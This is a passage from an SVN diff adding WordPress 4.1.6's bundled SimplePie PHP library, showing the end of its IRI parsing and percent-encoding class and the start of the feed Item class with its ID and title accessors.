+	{
+		$iri = trim($iri, "\x20\x09\x0A\x0C\x0D");
+		if (preg_match('/^((?P<scheme>[^:\/?#]+):)?(\/\/(?P<authority>[^\/?#]*))?(?P<path>[^?#]*)(\?(?P<query>[^#]*))?(#(?P<fragment>.*))?$/', $iri, $match))
+		{
+			if ($match[1] === '')
+			{
+				$match['scheme'] = null;
+			}
+			if (!isset($match[3]) || $match[3] === '')
+			{
+				$match['authority'] = null;
+			}
+			if (!isset($match[5]))
+			{
+				$match['path'] = '';
+			}
+			if (!isset($match[6]) || $match[6] === '')
+			{
+				$match['query'] = null;
+			}
+			if (!isset($match[8]) || $match[8] === '')
+			{
+				$match['fragment'] = null;
+			}
+			return $match;
+		}
+		else
+		{
+			// This can occur when a paragraph is accidentally parsed as a URI
+			return false;
+		}
+	}
+
+	/**
+	 * Remove dot segments from a path
+	 *
+	 * @param string $input
+	 * @return string
+	 */
+	protected function remove_dot_segments($input)
+	{
+		$output = '';
+		while (strpos($input, './') !== false || strpos($input, '/.') !== false || $input === '.' || $input === '..')
+		{
+			// A: If the input buffer begins with a prefix of "../" or "./", then remove that prefix from the input buffer; otherwise,
+			if (strpos($input, '../') === 0)
+			{
+				$input = substr($input, 3);
+			}
+			elseif (strpos($input, './') === 0)
+			{
+				$input = substr($input, 2);
+			}
+			// B: if the input buffer begins with a prefix of "/./" or "/.", where "." is a complete path segment, then replace that prefix with "/" in the input buffer; otherwise,
+			elseif (strpos($input, '/./') === 0)
+			{
+				$input = substr($input, 2);
+			}
+			elseif ($input === '/.')
+			{
+				$input = '/';
+			}
+			// C: if the input buffer begins with a prefix of "/../" or "/..", where ".." is a complete path segment, then replace that prefix with "/" in the input buffer and remove the last segment and its preceding "/" (if any) from the output buffer; otherwise,
+			elseif (strpos($input, '/../') === 0)
+			{
+				$input = substr($input, 3);
+				$output = substr_replace($output, '', strrpos($output, '/'));
+			}
+			elseif ($input === '/..')
+			{
+				$input = '/';
+				$output = substr_replace($output, '', strrpos($output, '/'));
+			}
+			// D: if the input buffer consists only of "." or "..", then remove that from the input buffer; otherwise,
+			elseif ($input === '.' || $input === '..')
+			{
+				$input = '';
+			}
+			// E: move the first path segment in the input buffer to the end of the output buffer, including the initial "/" character (if any) and any subsequent characters up to, but not including, the next "/" character or the end of the input buffer
+			elseif (($pos = strpos($input, '/', 1)) !== false)
+			{
+				$output .= substr($input, 0, $pos);
+				$input = substr_replace($input, '', 0, $pos);
+			}
+			else
+			{
+				$output .= $input;
+				$input = '';
+			}
+		}
+		return $output . $input;
+	}
+
+	/**
+	 * Replace invalid character with percent encoding
+	 *
+	 * @param string $string Input string
+	 * @param string $extra_chars Valid characters not in iunreserved or
+	 *                            iprivate (this is ASCII-only)
+	 * @param bool $iprivate Allow iprivate
+	 * @return string
+	 */
+	protected function replace_invalid_with_pct_encoding($string, $extra_chars, $iprivate = false)
+	{
+		// Normalize as many pct-encoded sections as possible
+		$string = preg_replace_callback('/(?:%[A-Fa-f0-9]{2})+/', array($this, 'remove_iunreserved_percent_encoded'), $string);
+
+		// Replace invalid percent characters
+		$string = preg_replace('/%(?![A-Fa-f0-9]{2})/', '%25', $string);
+
+		// Add unreserved and % to $extra_chars (the latter is safe because all
+		// pct-encoded sections are now valid).
+		$extra_chars .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~%';
+
+		// Now replace any bytes that aren't allowed with their pct-encoded versions
+		$position = 0;
+		$strlen = strlen($string);
+		while (($position += strspn($string, $extra_chars, $position)) < $strlen)
+		{
+			$value = ord($string[$position]);
+
+			// Start position
+			$start = $position;
+
+			// By default we are valid
+			$valid = true;
+
+			// No one byte sequences are valid due to the while.
+			// Two byte sequence:
+			if (($value & 0xE0) === 0xC0)
+			{
+				$character = ($value & 0x1F) << 6;
+				$length = 2;
+				$remaining = 1;
+			}
+			// Three byte sequence:
+			elseif (($value & 0xF0) === 0xE0)
+			{
+				$character = ($value & 0x0F) << 12;
+				$length = 3;
+				$remaining = 2;
+			}
+			// Four byte sequence:
+			elseif (($value & 0xF8) === 0xF0)
+			{
+				$character = ($value & 0x07) << 18;
+				$length = 4;
+				$remaining = 3;
+			}
+			// Invalid byte:
+			else
+			{
+				$valid = false;
+				$length = 1;
+				$remaining = 0;
+			}
+
+			if ($remaining)
+			{
+				if ($position + $length <= $strlen)
+				{
+					for ($position++; $remaining; $position++)
+					{
+						$value = ord($string[$position]);
+
+						// Check that the byte is valid, then add it to the character:
+						if (($value & 0xC0) === 0x80)
+						{
+							$character |= ($value & 0x3F) << (--$remaining * 6);
+						}
+						// If it is invalid, count the sequence as invalid and reprocess the current byte:
+						else
+						{
+							$valid = false;
+							$position--;
+							break;
+						}
+					}
+				}
+				else
+				{
+					$position = $strlen - 1;
+					$valid = false;
+				}
+			}
+
+			// Percent encode anything invalid or not in ucschar
+			if (
+				// Invalid sequences
+				!$valid
+				// Non-shortest form sequences are invalid
+				|| $length > 1 && $character <= 0x7F
+				|| $length > 2 && $character <= 0x7FF
+				|| $length > 3 && $character <= 0xFFFF
+				// Outside of range of ucschar codepoints
+				// Noncharacters
+				|| ($character & 0xFFFE) === 0xFFFE
+				|| $character >= 0xFDD0 && $character <= 0xFDEF
+				|| (
+					// Everything else not in ucschar
+					   $character > 0xD7FF && $character < 0xF900
+					|| $character < 0xA0
+					|| $character > 0xEFFFD
+				)
+				&& (
+					// Everything not in iprivate, if it applies
+					   !$iprivate
+					|| $character < 0xE000
+					|| $character > 0x10FFFD
+				)
+			)
+			{
+				// If we were a character, pretend we weren't, but rather an error.
+				if ($valid)
+					$position--;
+
+				for ($j = $start; $j <= $position; $j++)
+				{
+					$string = substr_replace($string, sprintf('%%%02X', ord($string[$j])), $j, 1);
+					$j += 2;
+					$position += 2;
+					$strlen += 2;
+				}
+			}
+		}
+
+		return $string;
+	}
+
+	/**
+	 * Callback function for preg_replace_callback.
+	 *
+	 * Removes sequences of percent encoded bytes that represent UTF-8
+	 * encoded characters in iunreserved
+	 *
+	 * @param array $match PCRE match
+	 * @return string Replacement
+	 */
+	protected function remove_iunreserved_percent_encoded($match)
+	{
+		// As we just have valid percent encoded sequences we can just explode
+		// and ignore the first member of the returned array (an empty string).
+		$bytes = explode('%', $match[0]);
+
+		// Initialize the new string (this is what will be returned) and that
+		// there are no bytes remaining in the current sequence (unsurprising
+		// at the first byte!).
+		$string = '';
+		$remaining = 0;
+
+		// Loop over each and every byte, and set $value to its value
+		for ($i = 1, $len = count($bytes); $i < $len; $i++)
+		{
+			$value = hexdec($bytes[$i]);
+
+			// If we're the first byte of sequence:
+			if (!$remaining)
+			{
+				// Start position
+				$start = $i;
+
+				// By default we are valid
+				$valid = true;
+
+				// One byte sequence:
+				if ($value <= 0x7F)
+				{
+					$character = $value;
+					$length = 1;
+				}
+				// Two byte sequence:
+				elseif (($value & 0xE0) === 0xC0)
+				{
+					$character = ($value & 0x1F) << 6;
+					$length = 2;
+					$remaining = 1;
+				}
+				// Three byte sequence:
+				elseif (($value & 0xF0) === 0xE0)
+				{
+					$character = ($value & 0x0F) << 12;
+					$length = 3;
+					$remaining = 2;
+				}
+				// Four byte sequence:
+				elseif (($value & 0xF8) === 0xF0)
+				{
+					$character = ($value & 0x07) << 18;
+					$length = 4;
+					$remaining = 3;
+				}
+				// Invalid byte:
+				else
+				{
+					$valid = false;
+					$remaining = 0;
+				}
+			}
+			// Continuation byte:
+			else
+			{
+				// Check that the byte is valid, then add it to the character:
+				if (($value & 0xC0) === 0x80)
+				{
+					$remaining--;
+					$character |= ($value & 0x3F) << ($remaining * 6);
+				}
+				// If it is invalid, count the sequence as invalid and reprocess the current byte as the start of a sequence:
+				else
+				{
+					$valid = false;
+					$remaining = 0;
+					$i--;
+				}
+			}
+
+			// If we've reached the end of the current byte sequence, append it to Unicode::$data
+			if (!$remaining)
+			{
+				// Percent encode anything invalid or not in iunreserved
+				if (
+					// Invalid sequences
+					!$valid
+					// Non-shortest form sequences are invalid
+					|| $length > 1 && $character <= 0x7F
+					|| $length > 2 && $character <= 0x7FF
+					|| $length > 3 && $character <= 0xFFFF
+					// Outside of range of iunreserved codepoints
+					|| $character < 0x2D
+					|| $character > 0xEFFFD
+					// Noncharacters
+					|| ($character & 0xFFFE) === 0xFFFE
+					|| $character >= 0xFDD0 && $character <= 0xFDEF
+					// Everything else not in iunreserved (this is all BMP)
+					|| $character === 0x2F
+					|| $character > 0x39 && $character < 0x41
+					|| $character > 0x5A && $character < 0x61
+					|| $character > 0x7A && $character < 0x7E
+					|| $character > 0x7E && $character < 0xA0
+					|| $character > 0xD7FF && $character < 0xF900
+				)
+				{
+					for ($j = $start; $j <= $i; $j++)
+					{
+						$string .= '%' . strtoupper($bytes[$j]);
+					}
+				}
+				else
+				{
+					for ($j = $start; $j <= $i; $j++)
+					{
+						$string .= chr(hexdec($bytes[$j]));
+					}
+				}
+			}
+		}
+
+		// If we have any bytes left over they are invalid (i.e., we are
+		// mid-way through a multi-byte sequence)
+		if ($remaining)
+		{
+			for ($j = $start; $j < $len; $j++)
+			{
+				$string .= '%' . strtoupper($bytes[$j]);
+			}
+		}
+
+		return $string;
+	}
+
+	protected function scheme_normalization()
+	{
+		if (isset($this->normalization[$this->scheme]['iuserinfo']) && $this->iuserinfo === $this->normalization[$this->scheme]['iuserinfo'])
+		{
+			$this->iuserinfo = null;
+		}
+		if (isset($this->normalization[$this->scheme]['ihost']) && $this->ihost === $this->normalization[$this->scheme]['ihost'])
+		{
+			$this->ihost = null;
+		}
+		if (isset($this->normalization[$this->scheme]['port']) && $this->port === $this->normalization[$this->scheme]['port'])
+		{
+			$this->port = null;
+		}
+		if (isset($this->normalization[$this->scheme]['ipath']) && $this->ipath === $this->normalization[$this->scheme]['ipath'])
+		{
+			$this->ipath = '';
+		}
+		if (isset($this->normalization[$this->scheme]['iquery']) && $this->iquery === $this->normalization[$this->scheme]['iquery'])
+		{
+			$this->iquery = null;
+		}
+		if (isset($this->normalization[$this->scheme]['ifragment']) && $this->ifragment === $this->normalization[$this->scheme]['ifragment'])
+		{
+			$this->ifragment = null;
+		}
+	}
+
+	/**
+	 * Check if the object represents a valid IRI. This needs to be done on each
+	 * call as some things change depending on another part of the IRI.
+	 *
+	 * @return bool
+	 */
+	public function is_valid()
+	{
+		$isauthority = $this->iuserinfo !== null || $this->ihost !== null || $this->port !== null;
+		if ($this->ipath !== '' &&
+			(
+				$isauthority && (
+					$this->ipath[0] !== '/' ||
+					substr($this->ipath, 0, 2) === '//'
+				) ||
+				(
+					$this->scheme === null &&
+					!$isauthority &&
+					strpos($this->ipath, ':') !== false &&
+					(strpos($this->ipath, '/') === false ? true : strpos($this->ipath, ':') < strpos($this->ipath, '/'))
+				)
+			)
+		)
+		{
+			return false;
+		}
+
+		return true;
+	}
+
+	/**
+	 * Set the entire IRI. Returns true on success, false on failure (if there
+	 * are any invalid characters).
+	 *
+	 * @param string $iri
+	 * @return bool
+	 */
+	public function set_iri($iri)
+	{
+		static $cache;
+		if (!$cache)
+		{
+			$cache = array();
+		}
+
+		if ($iri === null)
+		{
+			return true;
+		}
+		elseif (isset($cache[$iri]))
+		{
+			list($this->scheme,
+				 $this->iuserinfo,
+				 $this->ihost,
+				 $this->port,
+				 $this->ipath,
+				 $this->iquery,
+				 $this->ifragment,
+				 $return) = $cache[$iri];
+			return $return;
+		}
+		else
+		{
+			$parsed = $this->parse_iri((string) $iri);
+			if (!$parsed)
+			{
+				return false;
+			}
+
+			$return = $this->set_scheme($parsed['scheme'])
+				&& $this->set_authority($parsed['authority'])
+				&& $this->set_path($parsed['path'])
+				&& $this->set_query($parsed['query'])
+				&& $this->set_fragment($parsed['fragment']);
+
+			$cache[$iri] = array($this->scheme,
+								 $this->iuserinfo,
+								 $this->ihost,
+								 $this->port,
+								 $this->ipath,
+								 $this->iquery,
+								 $this->ifragment,
+								 $return);
+			return $return;
+		}
+	}
+
+	/**
+	 * Set the scheme. Returns true on success, false on failure (if there are
+	 * any invalid characters).
+	 *
+	 * @param string $scheme
+	 * @return bool
+	 */
+	public function set_scheme($scheme)
+	{
+		if ($scheme === null)
+		{
+			$this->scheme = null;
+		}
+		elseif (!preg_match('/^[A-Za-z][0-9A-Za-z+\-.]*$/', $scheme))
+		{
+			$this->scheme = null;
+			return false;
+		}
+		else
+		{
+			$this->scheme = strtolower($scheme);
+		}
+		return true;
+	}
+
+	/**
+	 * Set the authority. Returns true on success, false on failure (if there are
+	 * any invalid characters).
+	 *
+	 * @param string $authority
+	 * @return bool
+	 */
+	public function set_authority($authority)
+	{
+		static $cache;
+		if (!$cache)
+			$cache = array();
+
+		if ($authority === null)
+		{
+			$this->iuserinfo = null;
+			$this->ihost = null;
+			$this->port = null;
+			return true;
+		}
+		elseif (isset($cache[$authority]))
+		{
+			list($this->iuserinfo,
+				 $this->ihost,
+				 $this->port,
+				 $return) = $cache[$authority];
+
+			return $return;
+		}
+		else
+		{
+			$remaining = $authority;
+			if (($iuserinfo_end = strrpos($remaining, '@')) !== false)
+			{
+				$iuserinfo = substr($remaining, 0, $iuserinfo_end);
+				$remaining = substr($remaining, $iuserinfo_end + 1);
+			}
+			else
+			{
+				$iuserinfo = null;
+			}
+			if (($port_start = strpos($remaining, ':', strpos($remaining, ']'))) !== false)
+			{
+				if (($port = substr($remaining, $port_start + 1)) === false)
+				{
+					$port = null;
+				}
+				$remaining = substr($remaining, 0, $port_start);
+			}
+			else
+			{
+				$port = null;
+			}
+
+			$return = $this->set_userinfo($iuserinfo) &&
+					  $this->set_host($remaining) &&
+					  $this->set_port($port);
+
+			$cache[$authority] = array($this->iuserinfo,
+									   $this->ihost,
+									   $this->port,
+									   $return);
+
+			return $return;
+		}
+	}
+
+	/**
+	 * Set the iuserinfo.
+	 *
+	 * @param string $iuserinfo
+	 * @return bool
+	 */
+	public function set_userinfo($iuserinfo)
+	{
+		if ($iuserinfo === null)
+		{
+			$this->iuserinfo = null;
+		}
+		else
+		{
+			$this->iuserinfo = $this->replace_invalid_with_pct_encoding($iuserinfo, '!$&\'()*+,;=:');
+			$this->scheme_normalization();
+		}
+
+		return true;
+	}
+
+	/**
+	 * Set the ihost. Returns true on success, false on failure (if there are
+	 * any invalid characters).
+	 *
+	 * @param string $ihost
+	 * @return bool
+	 */
+	public function set_host($ihost)
+	{
+		if ($ihost === null)
+		{
+			$this->ihost = null;
+			return true;
+		}
+		elseif (substr($ihost, 0, 1) === '[' && substr($ihost, -1) === ']')
+		{
+			if (SimplePie_Net_IPv6::check_ipv6(substr($ihost, 1, -1)))
+			{
+				$this->ihost = '[' . SimplePie_Net_IPv6::compress(substr($ihost, 1, -1)) . ']';
+			}
+			else
+			{
+				$this->ihost = null;
+				return false;
+			}
+		}
+		else
+		{
+			$ihost = $this->replace_invalid_with_pct_encoding($ihost, '!$&\'()*+,;=');
+
+			// Lowercase, but ignore pct-encoded sections (as they should
+			// remain uppercase). This must be done after the previous step
+			// as that can add unescaped characters.
+			$position = 0;
+			$strlen = strlen($ihost);
+			while (($position += strcspn($ihost, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ%', $position)) < $strlen)
+			{
+				if ($ihost[$position] === '%')
+				{
+					$position += 3;
+				}
+				else
+				{
+					$ihost[$position] = strtolower($ihost[$position]);
+					$position++;
+				}
+			}
+
+			$this->ihost = $ihost;
+		}
+
+		$this->scheme_normalization();
+
+		return true;
+	}
+
+	/**
+	 * Set the port. Returns true on success, false on failure (if there are
+	 * any invalid characters).
+	 *
+	 * @param string $port
+	 * @return bool
+	 */
+	public function set_port($port)
+	{
+		if ($port === null)
+		{
+			$this->port = null;
+			return true;
+		}
+		elseif (strspn($port, '0123456789') === strlen($port))
+		{
+			$this->port = (int) $port;
+			$this->scheme_normalization();
+			return true;
+		}
+		else
+		{
+			$this->port = null;
+			return false;
+		}
+	}
+
+	/**
+	 * Set the ipath.
+	 *
+	 * @param string $ipath
+	 * @return bool
+	 */
+	public function set_path($ipath)
+	{
+		static $cache;
+		if (!$cache)
+		{
+			$cache = array();
+		}
+
+		$ipath = (string) $ipath;
+
+		if (isset($cache[$ipath]))
+		{
+			$this->ipath = $cache[$ipath][(int) ($this->scheme !== null)];
+		}
+		else
+		{
+			$valid = $this->replace_invalid_with_pct_encoding($ipath, '!$&\'()*+,;=@:/');
+			$removed = $this->remove_dot_segments($valid);
+
+			$cache[$ipath] = array($valid, $removed);
+			$this->ipath =  ($this->scheme !== null) ? $removed : $valid;
+		}
+
+		$this->scheme_normalization();
+		return true;
+	}
+
+	/**
+	 * Set the iquery.
+	 *
+	 * @param string $iquery
+	 * @return bool
+	 */
+	public function set_query($iquery)
+	{
+		if ($iquery === null)
+		{
+			$this->iquery = null;
+		}
+		else
+		{
+			$this->iquery = $this->replace_invalid_with_pct_encoding($iquery, '!$&\'()*+,;=:@/?', true);
+			$this->scheme_normalization();
+		}
+		return true;
+	}
+
+	/**
+	 * Set the ifragment.
+	 *
+	 * @param string $ifragment
+	 * @return bool
+	 */
+	public function set_fragment($ifragment)
+	{
+		if ($ifragment === null)
+		{
+			$this->ifragment = null;
+		}
+		else
+		{
+			$this->ifragment = $this->replace_invalid_with_pct_encoding($ifragment, '!$&\'()*+,;=:@/?');
+			$this->scheme_normalization();
+		}
+		return true;
+	}
+
+	/**
+	 * Convert an IRI to a URI (or parts thereof)
+	 *
+	 * @return string
+	 */
+	public function to_uri($string)
+	{
+		static $non_ascii;
+		if (!$non_ascii)
+		{
+			$non_ascii = implode('', range("\x80", "\xFF"));
+		}
+
+		$position = 0;
+		$strlen = strlen($string);
+		while (($position += strcspn($string, $non_ascii, $position)) < $strlen)
+		{
+			$string = substr_replace($string, sprintf('%%%02X', ord($string[$position])), $position, 1);
+			$position += 3;
+			$strlen += 2;
+		}
+
+		return $string;
+	}
+
+	/**
+	 * Get the complete IRI
+	 *
+	 * @return string
+	 */
+	public function get_iri()
+	{
+		if (!$this->is_valid())
+		{
+			return false;
+		}
+
+		$iri = '';
+		if ($this->scheme !== null)
+		{
+			$iri .= $this->scheme . ':';
+		}
+		if (($iauthority = $this->get_iauthority()) !== null)
+		{
+			$iri .= '//' . $iauthority;
+		}
+		if ($this->ipath !== '')
+		{
+			$iri .= $this->ipath;
+		}
+		elseif (!empty($this->normalization[$this->scheme]['ipath']) && $iauthority !== null && $iauthority !== '')
+		{
+			$iri .= $this->normalization[$this->scheme]['ipath'];
+		}
+		if ($this->iquery !== null)
+		{
+			$iri .= '?' . $this->iquery;
+		}
+		if ($this->ifragment !== null)
+		{
+			$iri .= '#' . $this->ifragment;
+		}
+
+		return $iri;
+	}
+
+	/**
+	 * Get the complete URI
+	 *
+	 * @return string
+	 */
+	public function get_uri()
+	{
+		return $this->to_uri($this->get_iri());
+	}
+
+	/**
+	 * Get the complete iauthority
+	 *
+	 * @return string
+	 */
+	protected function get_iauthority()
+	{
+		if ($this->iuserinfo !== null || $this->ihost !== null || $this->port !== null)
+		{
+			$iauthority = '';
+			if ($this->iuserinfo !== null)
+			{
+				$iauthority .= $this->iuserinfo . '@';
+			}
+			if ($this->ihost !== null)
+			{
+				$iauthority .= $this->ihost;
+			}
+			if ($this->port !== null)
+			{
+				$iauthority .= ':' . $this->port;
+			}
+			return $iauthority;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the complete authority
+	 *
+	 * @return string
+	 */
+	protected function get_authority()
+	{
+		$iauthority = $this->get_iauthority();
+		if (is_string($iauthority))
+			return $this->to_uri($iauthority);
+		else
+			return $iauthority;
+	}
+}
Index: /tags/4.1.6/src/wp-includes/SimplePie/Item.php
===================================================================
--- /tags/4.1.6/src/wp-includes/SimplePie/Item.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/SimplePie/Item.php	(revision 33402)
@@ -0,0 +1,2964 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+
+/**
+ * Manages all item-related data
+ *
+ * Used by {@see SimplePie::get_item()} and {@see SimplePie::get_items()}
+ *
+ * This class can be overloaded with {@see SimplePie::set_item_class()}
+ *
+ * @package SimplePie
+ * @subpackage API
+ */
+class SimplePie_Item
+{
+	/**
+	 * Parent feed
+	 *
+	 * @access private
+	 * @var SimplePie
+	 */
+	var $feed;
+
+	/**
+	 * Raw data
+	 *
+	 * @access private
+	 * @var array
+	 */
+	var $data = array();
+
+	/**
+	 * Registry object
+	 *
+	 * @see set_registry
+	 * @var SimplePie_Registry
+	 */
+	protected $registry;
+
+	/**
+	 * Create a new item object
+	 *
+	 * This is usually used by {@see SimplePie::get_items} and
+	 * {@see SimplePie::get_item}. Avoid creating this manually.
+	 *
+	 * @param SimplePie $feed Parent feed
+	 * @param array $data Raw data
+	 */
+	public function __construct($feed, $data)
+	{
+		$this->feed = $feed;
+		$this->data = $data;
+	}
+
+	/**
+	 * Set the registry handler
+	 *
+	 * This is usually used by {@see SimplePie_Registry::create}
+	 *
+	 * @since 1.3
+	 * @param SimplePie_Registry $registry
+	 */
+	public function set_registry(SimplePie_Registry $registry)
+	{
+		$this->registry = $registry;
+	}
+
+	/**
+	 * Get a string representation of the item
+	 *
+	 * @return string
+	 */
+	public function __toString()
+	{
+		return md5(serialize($this->data));
+	}
+
+	/**
+	 * Remove items that link back to this before destroying this object
+	 */
+	public function __destruct()
+	{
+		if ((version_compare(PHP_VERSION, '5.3', '<') || !gc_enabled()) && !ini_get('zend.ze1_compatibility_mode'))
+		{
+			unset($this->feed);
+		}
+	}
+
+	/**
+	 * Get data for an item-level element
+	 *
+	 * This method allows you to get access to ANY element/attribute that is a
+	 * sub-element of the item/entry tag.
+	 *
+	 * See {@see SimplePie::get_feed_tags()} for a description of the return value
+	 *
+	 * @since 1.0
+	 * @see http://simplepie.org/wiki/faq/supported_xml_namespaces
+	 * @param string $namespace The URL of the XML namespace of the elements you're trying to access
+	 * @param string $tag Tag name
+	 * @return array
+	 */
+	public function get_item_tags($namespace, $tag)
+	{
+		if (isset($this->data['child'][$namespace][$tag]))
+		{
+			return $this->data['child'][$namespace][$tag];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the base URL value from the parent feed
+	 *
+	 * Uses `<xml:base>`
+	 *
+	 * @param array $element
+	 * @return string
+	 */
+	public function get_base($element = array())
+	{
+		return $this->feed->get_base($element);
+	}
+
+	/**
+	 * Sanitize feed data
+	 *
+	 * @access private
+	 * @see SimplePie::sanitize()
+	 * @param string $data Data to sanitize
+	 * @param int $type One of the SIMPLEPIE_CONSTRUCT_* constants
+	 * @param string $base Base URL to resolve URLs against
+	 * @return string Sanitized data
+	 */
+	public function sanitize($data, $type, $base = '')
+	{
+		return $this->feed->sanitize($data, $type, $base);
+	}
+
+	/**
+	 * Get the parent feed
+	 *
+	 * Note: this may not work as you think for multifeeds!
+	 *
+	 * @link http://simplepie.org/faq/typical_multifeed_gotchas#missing_data_from_feed
+	 * @since 1.0
+	 * @return SimplePie
+	 */
+	public function get_feed()
+	{
+		return $this->feed;
+	}
+
+	/**
+	 * Get the unique identifier for the item
+	 *
+	 * This is usually used when writing code to check for new items in a feed.
+	 *
+	 * Uses `<atom:id>`, `<guid>`, `<dc:identifier>` or the `about` attribute
+	 * for RDF. If none of these are supplied (or `$hash` is true), creates an
+	 * MD5 hash based on the permalink and title. If either of those are not
+	 * supplied, creates a hash based on the full feed data.
+	 *
+	 * @since Beta 2
+	 * @param boolean $hash Should we force using a hash instead of the supplied ID?
+	 * @return string
+	 */
+	public function get_id($hash = false)
+	{
+		if (!$hash)
+		{
+			if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'id'))
+			{
+				return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'id'))
+			{
+				return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'guid'))
+			{
+				return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'identifier'))
+			{
+				return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'identifier'))
+			{
+				return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			elseif (isset($this->data['attribs'][SIMPLEPIE_NAMESPACE_RDF]['about']))
+			{
+				return $this->sanitize($this->data['attribs'][SIMPLEPIE_NAMESPACE_RDF]['about'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			elseif (($return = $this->get_permalink()) !== null)
+			{
+				return $return;
+			}
+			elseif (($return = $this->get_title()) !== null)
+			{
+				return $return;
+			}
+		}
+		if ($this->get_permalink() !== null || $this->get_title() !== null)
+		{
+			return md5($this->get_permalink() . $this->get_title());
+		}
+		else
+		{
+			return md5(serialize($this->data));
+		}
+	}
+
+	/**
+	 * Get the title of the item
+	 *
+	 * Uses `<atom:title>`, `<title>` or `<dc:title>`
+	 *
+	 * @since Beta 2 (previously called `get_item_title` since 0.8)
+	 * @return string|null
+	 */
+	public function get_title()
+	{
+		if (!isset($this->data['title']))
+		{
+			if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'title'))
+			{
+				$this->data['title'] = $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'title'))
+			{
+				$this->data['title'] = $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'title'))
+			{
+				$this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'title'))
+			{
+				$this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'title'))
+			{
+				$this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'title'))
+			{
+				$this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'title'))
+			{
+				$this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			else
+			{
+				$this->data['title'] = null;
+			}
+		}
+		return $this->data['title'];
+	}
+
+	/**
+	 * Get the content for the item
+	 *
+	 * Prefers summaries over full content , but will return full content if a
+	 * summary does not exist.
+	 *
+	 * To prefer full content instead, use {@see get_content}
+	 *
+	 * Uses `<atom:summary>`, `<description>`, `<dc:description>` or
+	 * `<itunes:subtitle>`
+	 *
+	 * @since 0.8
+	 * @param boolean $description_only Should we avoid falling back to the content?
